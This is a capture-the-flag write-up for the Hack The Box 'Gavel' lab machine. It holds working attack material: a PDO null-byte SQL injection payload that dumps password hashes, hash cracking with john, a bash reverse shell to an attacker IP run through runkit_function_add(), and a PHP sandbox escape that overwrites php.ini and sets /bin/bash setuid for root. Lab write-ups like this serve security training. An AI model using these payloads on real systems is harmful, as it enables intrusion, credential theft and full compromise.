Back to writeups

Gavel - Writeup

Gavel
Medium
Linux

Reconnaissance

Port Scan

Nmap reveals two open ports:

  • 22/tcp - SSH
  • 80/tcp - HTTP (Apache 2.4.52)

Service Identification

Port 80 hosts Gavel Auction - a PHP auction platform with registration, bidding, inventory management, and an admin panel.

An exposed .git directory allows us to dump the entire repository using git-dumper:

git-dumper http://gavel.htb/.git/ gavel-repo

Initial Access - PDO Null Byte SQL Injection

Source Code Analysis

The dumped source reveals a PHP auction platform with these key files:

FilePurpose
includes/config.phpDB creds: gavel:gavel
includes/bid_handler.phprunkit_function_add() - executes rule field as PHP
inventory.phpSQL injection in sort parameter
admin.phpAuctioneers can edit auction rule and message

inventory.php - SQL Injection Vector

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);

The sort parameter is injected into the SQL query. The developer attempted to mitigate this by stripping backticks and wrapping the input in backtick-quoted identifiers. This prevents standard injection - you can't close the backtick because str_replace removes them all.

However, a PDO null byte injection bypasses this entirely.

The Bypass - Null Byte + PDO Parser Discrepancy

PDO's internal SQL parser is implemented in C. When the SQL string contains a null byte (%00), the C-level parser truncates at that point, while the MySQL client library (which uses length-counted strings) processes the full query. This creates a critical discrepancy:

  • PDO sees (truncated): SELECT ?;-- - no?` parameter marker found
  • MySQL receives (full): the complete SQL with user_id inserted unescaped

The \ before ? in the sort value further confuses PDO's marker detection.

Payload

POST /inventory.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00

Breaking it down:

  • sort=\?;-- -%00 - the \? hides the parameter marker from PDO, %00 (null byte) causes C-level truncation, PDO doesn't bind the user_id parameter
  • user_id=x FROM (SELECT ...) ...` - contains raw SQL with backticks that MySQL interprets as actual SQL syntax since PDO didn't escape it

Result

The query returns user credentials:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

Cracking the Hash

The hash is bcrypt ($2y$, cost 10). Cracking with john:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

auctioneer:midnight1

RCE via runkit_function_add()

With the auctioneer's credentials, we log into the admin panel and edit an auction's rule field.

In bid_handler.php, the rule is executed as PHP code via runkit_function_add():

$rule = $auction['rule'];
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);

Setting the rule to a reverse shell payload:

system('bash -c "bash -i >& /dev/tcp/10.10.14.2/1337 0>&1"'); return true;

Any user placing a bid on that auction triggers the rule evaluation → RCE as www-data.

Lateral Movement

The cracked auctioneer password is reused for the system account:

www-data@gavel:~$ su auctioneer
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

Privilege Escalation - PHP Sandbox Escape via php.ini Overwrite

Enumeration

The auctioneer user belongs to the gavel-seller group. Searching for group-owned files:

auctioneer@gavel:~$ find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util

A custom root daemon gaveld (PID running as root) listens on a Unix socket. The gavel-util binary allows gavel-seller members to submit YAML auction items:

auctioneer@gavel:~$ gavel-util --help
Usage: gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

gaveld Internals

Analyzing the binary with strings:

/opt/gavel/.config/php/php.ini
function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};
execv

gaveld validates submitted rules by running them in a PHP sandbox via execv. The sandbox uses a restrictive php.ini:

open_basedir=/opt/gavel
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,
  pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,
  unserialize,extract,file_get_contents,fopen,include,require,require_once,
  include_once,fsockopen,pfsockopen,stream_socket_client

Identifying the Bypass

Critical functions NOT in disable_functions:

FunctionWhy it matters
file_put_contents()Can write files within open_basedir
system()Blocked - but only by php.ini, not compiled out

Since gaveld runs as root and uses execv to spawn PHP with -c /opt/gavel/.config/php/php.ini, we can:

  1. Overwrite php.ini using file_put_contents() (it's allowed, and we're root within open_basedir)
  2. Submit a second rule using system() - now unrestricted because the new php.ini has no disable_functions

Exploitation

Step 1 - Remove sandbox restrictions

cat > /tmp/pwn.yaml << 'EOF'
name: "Cursed Crown"
description: "A crown that grants root wishes"
image: "crown.png"
price: 1000
rule_msg: "Bid rejected"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On'); return true;"
EOF
gavel-util submit /tmp/pwn.yaml

Step 2 - Execute command as root

cat > /tmp/pwn2.yaml << 'EOF'
name: "Forbidden Blade"
description: "Cuts through sandboxes"
image: "blade.png"
price: 2000
rule_msg: "Nope"
rule: "system('chmod +s /bin/bash'); return true;"
EOF
gavel-util submit /tmp/pwn2.yaml

Step 3 - Root shell

auctioneer@gavel:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
auctioneer@gavel:~$ bash -p
bash-5.2# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) egid=0(root)
bash-5.2# cat /root/root.txt

Attack Chain Summary

Port 80 (Gavel Auction Platform)
  
  ├─ Exposed .git  git-dumper  full source code
    └─ config.php: DB creds gavel:gavel
  
  ├─ PDO null byte SQLi in inventory.php (sort parameter)
    └─ %00 causes C-level parser truncation  user_id unescaped
       └─ UNION SELECT  auctioneer bcrypt hash dumped
  
  ├─ Hashcat  auctioneer password cracked
    └─ Admin panel  edit auction rule field
       └─ runkit_function_add()  reverse shell as www-data
  
  ├─ Password reuse  su auctioneer (gavel-seller group)
    └─ gavel-util submit  gaveld PHP sandbox
  
  └─ PHP sandbox escape (two-step):
     ├─ file_put_contents() overwrites php.ini (removes disable_functions)
     └─ system('chmod +s /bin/bash')  bash -p  root

Key Takeaways

  1. PDO null byte injection - a null byte in the SQL string causes PDO's C-level parser to truncate, creating a discrepancy with MySQL's length-counted processing. Parameters after the null byte are never bound, allowing raw SQL injection through otherwise parameterized queries
  2. Backtick wrapping is not sufficient sanitization for column names in SQL - use whitelisting instead of blacklisting
  3. runkit_function_add() dynamically creates PHP functions from database content - equivalent to eval() on user-controlled data
  4. PHP sandbox escape via php.ini overwrite - if file_put_contents() is not disabled and the process runs as root, overwriting php.ini removes all restrictions for subsequent executions
  5. Defense in depth: the developer implemented multiple security layers (backtick wrapping, PHP sandbox, disable_functions), but each had a specific bypass. Layered security only works when each layer is independently robust
Hack The Box Achievement